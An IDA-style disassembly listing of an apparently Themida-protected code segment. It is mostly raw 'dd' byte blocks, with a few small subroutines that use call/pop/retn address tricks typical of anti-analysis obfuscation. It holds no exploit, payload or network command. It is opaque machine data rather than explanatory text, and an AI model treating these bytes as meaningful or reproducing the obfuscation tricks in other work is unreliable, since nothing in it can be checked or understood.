; =============== S U B R O U T I N E =======================================
sub_5BB058 proc near ; CODE XREF: Themida_:005BB050p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5BB058 endp
; ---------------------------------------------------------------------------
dd 63D26A1Bh, 45BD8BA6h, 60061528h, 29DB503h, 858B0615h
dd 6150529h, 836E961h, 0E80000h, 5D000000h, 165CED81h
dd 0E9600619h, 6, 9339E5D9h, 0B70F374Ah, 0BD8161D7h, 61508ADh
dd 7D0h, 146860Fh, 8B660000h, 699D8BF3h, 89061511h, 15177585h
dd 0E38106h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0BA59C355h, 251AE799h
dd 11B529E2h, 0B061525h, 0BA850FDBh, 0FC000000h, 1490BD83h
dd 0F000619h, 5184h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 4D0B257Dh, 5E9D809h, 12000000h
dd 76053A1Bh, 96E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 0C06E8093h, 85C74F5Ah
dd 6191490h, 1, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 1EC35040h, 29418D89h, 44E90615h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
dd 672EC352h, 4FC60B68h, 81F8F6AAh, 26F7BBE6h, 9085C711h
dd 61914h, 60000000h, 11F9B589h, 0F530615h, 88h, 8D615A00h
dd 1511699Dh, 9919BF06h, 23813590h, 0FFFFFEFFh, 619D3160h
dd 0E8061500h, 0Ch, 9E56DFFAh, 2F527473h, 926EA2B2h, 61585FB5h
dd 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 14042444h, 45000000h, 0E9F9C355h, 0Dh, 7C3DD53Bh, 143A2881h
dd 83A89E7Dh, 4C3F6C0h, 5A840Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BAD48C3h
dd 151799B5h, 1C860F06h, 0E8000000h, 14h, 0EA82423Bh, 2E1EE9C2h
dd 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 0FF5F5F56h, 1518A195h
dd 61D8BE06h, 8B9075B6h, 5E5050F9h, 0FA8B6690h, 42DE9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 359F5E63h, 0CE8166ABh, 8B66318Bh, 6A00B0FEh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 0B893C352h, 0A1F0C024h, 0B8EE8166h, 6A70E645h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 364C353h, 0BD8B71E4h, 6152D99h, 0E9D8B60Fh
dd 0Dh, 0FF87F732h, 0DC1D4981h, 0F233235Ch, 6BA86h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 772C5AC3h, 0A6AD1300h, 0C99501BDh, 8B061506h, 0DDB589C3h
dd 0C106152Ah, 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 4FA99CC3h, 0F53C6D7h, 683h, 319D2900h
dd 6606150Dh, 0BD8BE2F7h, 6150D81h, 6AD82Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 79589BC3h
dd 48B0Fh, 60560000h, 66505F61h, 895641BEh, 6A241Ch, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 6E1DD3C3h, 0C4D450BBh, 0B5FF1862h, 61508ADh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 6FC35747h, 2195FF2Eh
dd 6A06152Eh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 8A55C350h, 27445970h, 0C7CC2C89h
dd 0FE9h, 0E62CBB00h, 0D23B0F65h, 417A36Ah, 0EFF3B9B2h
dd 0BF0F00B0h, 170E6F9h, 15219185h, 6A71E406h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 9D11C352h, 500FF465h, 0BE9h, 15B93C00h, 2A986529h, 0B4FD50DAh
dd 830F613Ch, 232h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 7EC35545h, 0F6BE39CEh, 310AB1ABh, 1517358Dh
dd 0D8B60F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 57C35545h, 81669AEDh, 0BA2550DEh, 6, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F2C35040h, 6AC38B3Ch
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 24F3C352h, 6185019Dh, 0C1061505h, 0BF0F04E8h
dd 91B58BF2h, 66061525h, 8D89E2F7h, 6150AA9h, 2175B58Bh
dd 0D82B0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 0ADC35242h, 7C4F48F7h, 6A58C93Bh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1DCDC355h
dd 0A1BD8BB8h, 2B06150Ah, 2F880FD8h, 66000001h, 0B9EE03BEh
dd 7, 0DF5B531h, 0C1830615h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0E4B04E04h
dd 0F28B2C82h, 860FD93Bh, 0F2h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 19h, 5FC35747h, 2286CCDDh, 3D95892Bh
dd 66061521h, 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 4B2D08C3h, 0B58B1832h, 6152469h
dd 0F04C1F6h, 9184h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 0FFA527F0h, 1518A195h
dd 5BD8906h, 5B061525h, 0E880Fh, 89600000h, 1510F5B5h
dd 6D8D8B06h, 61061521h, 343DC32Bh, 0F000008h, 4586h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 93CA09CFh, 179DB58Bh, 81660615h, 0E9873FEFh, 1Eh, 11E9h
dd 0BA8B0D00h, 0E5E0B3C3h, 27A1C94Ah, 9795741Ch, 0C08B0B67h
dd 2D21BD8Bh, 0C38B0615h, 8166D88Bh, 0C7B8D1E6h, 15107985h
dd 427B1506h, 0FC67BE5Bh, 0C08B5561h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 57C35646h, 219A183h, 0B58BCD41h
dd 6150BC9h, 8ADBD81h, 7D00615h, 850F0000h, 5Ah, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0C9C35545h, 353A2B10h
dd 83B08358h, 6830F88h, 81000000h, 882DC1CFh, 0AD85FF38h
dd 6A061508h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 3087C357h, 0BB57BFF5h, 0B5FF41ACh
dd 61508ADh, 54BEBF66h, 2E2195FFh, 6A0615h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0BE2A94C3h
dd 75848EABh, 958950EBh, 615054Dh, 0BF66905Eh, 6AE335h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 526818C3h, 8D89523Bh, 6152795h, 13E95Eh, 0B9A40000h
dd 985A8B6Dh, 41560839h, 0CF4535D9h, 71E796E1h, 57006A8Ah
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 3F743E4Ah, 5DBF662Eh, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 0D3DB537Fh, 0FF2EE04h
dd 218Dh, 28C0F00h, 60000000h, 14E961h, 756E0000h, 7426501Dh
dd 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 840FC61Bh, 7, 8E0Fh
dd 6AF90000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 2E82C352h, 357E459Ah, 71858944h, 66061533h, 0AD04C781h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 24C35545h
dd 5E9F8h, 2CE90000h, 0E92E012Ch, 0FFFFF7CAh, 6AC18Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 676AFEC3h, 0B50980A4h, 9E8h, 0BC386D00h, 0BBA835Ah
dd 0BD335EE8h, 6151511h, 0FE95Eh, 1E440000h, 1E4DDE83h
dd 7938202Ah, 5B4EF101h, 104EBDFh, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0DEE3C357h, 53BC512Dh, 2F2DB58Bh, 235F0615h, 150699BDh
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0D0A4F7A9h, 1880FB6h, 0F5000000h, 279D858Dh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 1E571C3h, 6657C9A5h, 1102CE81h, 5660505Eh
dd 0CE8h, 448DD400h, 0F274D38Bh, 41A19B51h, 525E5EF2h
dd 310F5250h, 615A585Ah, 29240489h, 15098195h, 859D8906h
dd 6A06150Ah, 59858900h, 89061524h, 15215DB5h, 6A006A06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 0E532C357h, 0C2858D84h, 0BF061920h, 4475E8EEh
dd 6A05C083h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 4C9BC357h, 0FF48877Ah, 5050FC98h
dd 0F5E5752h, 66525031h, 0F4A4FBEh, 5A585A31h, 24048958h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0BFC35242h
dd 0B665E7FAh, 66538EBFh, 815EFA8Bh, 6330AAD6h, 1006A2Ah
dd 1510C985h, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 9A37C357h, 46642E44h
dd 0FFF7BF0Fh, 15267995h, 0DEE8106h, 37B7CC3h, 1510FDBDh
dd 159D8D06h, 0F06189Ch, 0B83h, 6E900h, 0E1BA0000h, 69F9119Bh
dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 59B9F8C3h, 0A42D8383h, 895A0556h, 150C51B5h
dd 3585FF06h, 0F061515h, 83h, 7FCE900h, 0E80000h, 5D000000h
dd 20CCED81h, 6A0619h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 16E434C3h, 0BD092ADEh, 6151D71h
dd 8ADBD81h, 7D00615h, 860F0000h, 147h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 67C35747h, 23E7A812h
dd 29F98B66h, 15161D95h, 0E59D8B06h, 2B061515h, 152FB9BDh
dd 0E38106h, 81000001h, 11F1FBD6h, 0FDB0B48h, 7485h, 0F9BF0F00h
dd 1EDCBD83h, 0F000619h, 2D84h, 0FB8B6600h, 88E9h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0EBA7DF11h, 5A59D89h, 85C70615h, 6191EDCh, 1, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 34C35545h, 9FF57904h
dd 32E99702h, 8B000000h, 152A85BDh, 0DC85C706h, 6191Eh
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 185C351h, 54ED345h, 0E59D8D02h
dd 6A061515h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 0B84EC351h, 0AEE5BC59h, 0FF23816Ah
dd 6AFFFFFEh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 0EDECC353h, 0DDDB0591h, 0FC44E90h
dd 688h, 0A9BD8B00h, 66061501h, 6ADB8Ch, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C3F621C3h
dd 2C840F04h, 66000000h, 88C2DF81h, 0A195FFF8h, 8B061518h
dd 1522F5B5h, 0F38B9006h, 0AE950h, 21D00000h, 86A0161Eh
dd 0CB54EFBEh, 0E9858990h, 0E9061533h, 409h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 79C35040h, 9965E033h
dd 684AFAB8h, 0FE8h, 72F6E900h, 82C654BCh, 51EFE146h, 29AD1C0Eh
dd 10E9h, 0E2CD4300h, 0A2640AD6h, 0A6A2FAE0h, 7B07D1A4h
dd 0B05EB2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 0C5C35040h, 59A77D5Fh, 6DBD8B71h, 0E6061516h, 56006A70h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 19C8F836h, 71E4568Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 15h, 0CC35242h, 0FFA8BC3h, 0C8Bh, 6830F00h
dd 0F000000h, 89h, 0D8B60F00h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 16h, 2CC35141h, 6BA144Dh, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0EDBCC356h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1D0424h, 57470000h, 459CCDC3h, 43A03940h
dd 30C6DA0h, 152959B5h, 4E8C106h, 23358589h, 0F7660615h
dd 50006AE2h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 0D1CA97D2h, 0FCECE0Dh, 0D82BFFB7h, 5E8h
dd 9ADE8600h, 95895D95h, 6150E39h, 3A63BE5Eh, 52930108h
dd 6D3EBE66h, 860F505Eh, 16h, 11E9h, 5893C700h, 263EEC81h
dd 11191E1Ah, 6F3041EFh, 6A93FE79h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E9DDC350h
dd 0ADB5FFA7h, 0F061508h, 95FFF6BFh, 6152E21h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AC35747h, 0DA45FE77h
dd 290D86C1h, 152CB59Dh, 0BD68106h, 0B016E919h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0E6F98BC6h, 6071E470h, 11219D89h, 0C8800615h, 613C61ACh
dd 1CB830Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 0CD72A1C3h, 0B509C9BBh, 6150989h
dd 921BD8Bh, 0B60F0615h, 0BA5F56D8h, 6, 88A0Fh, 33530000h
dd 151945B5h, 0C38B5E06h, 0F1BD8B56h, 5E061509h, 6A04E8C1h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h
dd 47000000h, 0FCAAC357h, 0B589EB37h, 61510C9h, 2BE2F766h
dd 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 0CD304FACh, 67D6A0BFh, 0C681584Eh, 61F35229h
dd 880FD82Bh, 11Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 18h, 0E1C35343h, 7559F343h, 0BEF08B60h, 319359C2h
dd 7B961h, 0BE660000h, 0C183F87Bh, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 836471F9h
dd 0F781185Ch, 42F30AC6h, 0A6504DBEh, 0FD93B0Ah, 0B486h
dd 0FEB70F00h, 0FD98C66h, 0D83h, 8D8B6000h, 61518D1h, 0AF968DB9h
dd 85896140h, 6152CB5h, 0F04C1F6h, 6B84h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0EF32E06Ah, 3BB3CCD8h, 0FADF0ABEh
dd 0A195FF54h, 33061518h, 151165B5h, 0C32B5B06h, 0D710E681h
dd 343D7A49h, 0F000008h, 2386h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E9EF3B6Ah
dd 21h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8BCEA9C3h, 8BC38BF2h, 0BE8D8h, 0ED4B0000h
dd 2EFC7306h, 36129DECh, 5FF08B7Fh, 116985C7h, 0CD950615h
dd 6A1D25h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 909B1AC3h, 89E741DCh, 1503618Dh, 6AC08B06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 14042444h
dd 47000000h, 6660C357h, 0BD81F38Bh, 61508ADh, 7D0h, 35850Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0C7B338C3h, 60A8B530h, 8D31B6B1h, 615040Dh
dd 8AD85FFh, 81660615h, 0FF90E0DEh, 1508ADB5h, 11E806h
dd 177A0000h, 0FCFD4895h, 0D4F35030h, 26690C39h, 5FDC6683h
dd 8E8h, 0BB154300h, 0D2E9FB1h, 0B4CE81D5h, 5F46DDB1h
dd 2E2195FFh, 0B5890615h, 6152725h, 53006A90h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 6DE0AB88h
dd 7BAEE44Ch, 1721B58Bh, 0C7810615h, 45C7BABh, 0F28BF98Bh
dd 2D09BD03h, 0B58B0615h, 6151341h, 8D016060h, 6152CF5h
dd 66DEE281h, 0BA6612A5h, 0E96183C9h, 9, 1DD8D600h, 0E2309E55h
dd 6A619Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 0D38AF6C3h, 0F9B0FC5h, 1289h, 68B0F00h, 89000000h
dd 1520B18Dh, 0DDBD8B06h, 0F061525h, 1F83h, 31B58B00h
dd 0E906152Bh, 14h, 0DA938924h, 2B9A2CCFh, 88B99944h, 46BB64E9h
dd 286687C8h, 8166F38Bh, 9B7AECFh, 152959B5h, 75BD8B06h
dd 0E9061516h, 11h, 0E8813C2Eh, 6A2A8864h, 0B13023EBh
dd 2ECB2266h, 5211BE81h, 0B5895C32h, 6153095h, 301DBD8Bh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 38A100C3h, 0E945F240h, 0FFFFF80Ah, 1D0DBD0Bh
dd 0C18B0615h, 2B01B58Bh, 4EB0615h, 0
; ---------------------------------------------------------------------------
xor [ebp+615018Dh], edi
mov di, dx
lea eax, [ebp+615279Dh]
js $+6
push eax
mov di, ax
mov [esp], eax
xor esi, [ebp+6150DC9h]
push 0
push 0
push edx
call sub_5BC32F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC32F proc near ; CODE XREF: Themida_:005BC327p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5BC32F endp
; ---------------------------------------------------------------------------
db 97h
dd 4870F0Bh, 66000000h, 6A7B05BFh, 0D8B0F00h, 50000000h
dd 6E9h, 128A7F00h, 5F7B110Dh, 2A42858Dh, 6A0619h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 92A7B0C3h, 0F0633D7h, 83h, 5C08300h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 15h, 0C2C35141h, 489505Eh
dd 3FBE6624h, 6A006A58h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0DA88C357h, 1C5D46B6h
dd 8B0FA8CAh, 152DE9B5h, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0D707C357h
dd 0E781214Eh, 349FFBF6h, 0D1B52951h, 5F061518h, 267995FFh
dd 81660615h, 8DE2F7C6h, 189C159Dh, 3D952906h, 0FF061528h
dd 53006AD3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 4A0BEC1Ch, 0DE9h, 0FDDE7300h, 0A7A57FA2h
dd 4492E231h, 57609F66h, 6DBB866h, 49BF665Eh, 85FF6199h
dd 6151535h, 54409CBFh, 842E912h, 0E80000h, 5D000000h
dd 2A4CED81h, 0BD810619h, 61508ADh, 7D0h, 185860Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
dd 91F17AC3h, 0BE88D21h, 65000000h, 557E651Fh, 0F1518871h
dd 0BD8BD13Eh, 61502E5h, 9D9D8B5Fh, 6A061507h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0D64DC350h, 855A5683h, 33A4DD87h, 1508C1BDh, 0E38106h
dd 0F000001h, 786h, 81665600h, 5F41C1DFh, 850FDB0Bh, 0A2h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 5EC35646h
dd 8F830589h, 0BB720FA6h, 0D5BD8B44h, 83061502h, 1928CDBDh
dd 840F0006h, 1Ah, 15EDB58Bh, 8DE90615h, 0E8000000h, 7
dd 0D7E63EACh, 8BD1A227h, 85C75EF7h, 61928CDh, 1, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D3C35141h, 41F79C57h
dd 4DE924E8h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 80C7C357h, 85C7FB12h
dd 61928CDh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5BC5CB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BC5CB proc near ; CODE XREF: Themida_:005BC5C3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5BC5CB endp
; ---------------------------------------------------------------------------
db 0DEh
dd 661C9FAFh, 0DBED681h, 79D9D8Dh, 0BF660615h, 23816AE2h
dd 0FFFFFEFFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 5DC35747h, 0A25769CFh, 6630E161h, 8B66DB8Ch, 4C3F6FBh
dd 49840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 8AC75DC3h, 1649984Ah, 66075869h
dd 0FF0991BFh, 1518A195h, 0C9852906h, 50061506h, 48C0Fh
dd 0BF660000h, 489F369h, 0F1BD8924h, 0E9061509h, 445h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3BC35343h
dd 66986EE8h, 0B05045BEh, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7FF73ADDh
dd 111FF1E0h, 2B158501h, 70E60615h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 46C35646h, 45EB740Ah, 459529E5h
dd 8906150Dh, 1511E5BDh, 0F871E406h, 2BD8B60Fh, 1528D1BDh
dd 6BA06h, 0A2BF0000h, 8B00A76Eh, 50006AC3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 91851442h
dd 0F08BE4EDh, 8B04E8C1h, 150C11BDh, 0E2F76606h, 6AD82Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 0F9B079C3h, 575793FAh, 5F5EF18Bh, 0BF525050h, 1C40D6FCh
dd 5250310Fh, 8E8h, 9C759700h, 0B17EA9ADh, 310F5E44h, 0FE9h
dd 54424D00h, 0A4EFCE7Ch, 0C210EA88h, 0F93DC087h, 585A585Ah
dd 51006A93h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 698E36A3h, 0A38CC120h, 2E59BD01h, 0B70F0615h
dd 0ADB5FFFFh, 6A061508h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0FC4C351h, 10E8F8BFh
dd 0E5000000h, 3B0884C3h, 835E7F35h, 6ADED69Eh, 66D89347h
dd 779BD681h, 2195FF5Fh, 0F06152Eh, 0B0F3B7h, 6A70E6h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 840AF6C3h, 66AD2131h, 0E919BBBFh, 9, 38527F19h, 5A81FE9Bh
dd 6A71E4D6h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 56BAC350h, 0BAEF8143h, 3C2EAA34h
dd 4A830F61h, 8B000002h, 151D75BDh, 0D8B60F06h, 8F0Fh
dd 6BA0000h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 5F02C350h, 84BD3BD0h
dd 8859D89h, 0C38B0615h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0AAC35646h, 8D4A41C9h, 5597A3EAh, 61E0B060h
dd 1185B58Bh, 0E8C10615h, 51006A04h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0EDA3087Ch
dd 9501518Eh, 6151DB5h, 0E2F7665Eh, 6880Fh, 8D890000h
dd 6150AE9h, 0F681D82Bh, 46C1F665h, 17ADBD8Bh, 6A580615h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 7534C353h, 0B64C171Bh, 0DCCE8166h, 11E86Bh
dd 654C0000h, 574AB34Dh, 61E3B58Dh, 2514A290h, 5E6FA97Ch
dd 880FD82Bh, 151h, 7B9F28Bh, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9881C355h
dd 0C183C6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 4DC35141h, 0D93BF563h, 103860Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 83A079C3h, 0B5D14238h, 8C66F51Fh, 53006AD9h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 2DD9C992h
dd 2A818529h, 0BE660615h, 0C1F6B398h, 0A2840F04h, 60000000h
dd 179D8589h, 0BF0F0615h, 95FF61DFh, 61518A1h, 1541BD31h
dd 8B5B0615h, 1506F5B5h, 13E906h, 0EC480000h, 7CE7DB37h
dd 6A85BF93h, 66DB989Ch, 7CC6A624h, 6AC32BC0h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 9C4DC356h, 61C232C5h, 68B0F81h, 89000000h, 1504498Dh
dd 59D8906h, 3D061517h, 834h, 2B860Fh, 0BF0F0000h, 2BE9F0h
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 8B1C60C3h, 1510A5B5h, 89C08B06h, 1533E995h
dd 8BC38B06h, 0E585C7D8h, 11061515h, 81186B65h, 8E43D7D6h
dd 0E8C08B16h, 9, 6166BE3Fh, 53F022BDh, 21B5293Ah, 5F061508h
dd 8ADBD81h, 7D00615h, 850F0000h, 2Eh, 9A19D09h, 85FF0615h
dd 61508ADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0B7C35646h, 0BE666BE4h, 0B5FFAAC7h, 61508ADh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 69C35242h, 618DCB97h
dd 0F5DCE9Ah, 8Eh, 0E98D0900h, 0FF061517h, 152E2195h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 7EECC100h, 8B90D51Eh, 153035BDh, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0EECEEDE3h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 89C35343h
dd 6A3C29BAh, 56B53E6Dh, 0CDBD8B74h, 29061524h, 1510D585h
dd 12E95706h, 0A9000000h, 62259A8Eh, 3DDE33AFh, 99770B77h
dd 7DF31FAh, 5EFE8BE9h, 1DADB58Bh, 8E90615h, 4B000000h
dd 0A7D64958h, 6ACAD028h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 0E964C350h, 5, 18F744Eh
dd 6AFA8B2Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 870CC357h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0C7C35747h, 7F0F6997h, 10850Fh
dd 0BE90000h, 0FC000000h, 9D773F93h, 5763F9BBh, 0BD8BB4ECh
dd 61502CDh, 0FFF7EDE9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 0C60CC030h, 2595018Ah
dd 8106151Eh, 0ABCA0EDFh, 0FE8B6624h, 3A88BF60h, 0FEB925D3h
dd 6AFFFFFFh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 2C1CC356h, 81674D51h, 888DD0E1h
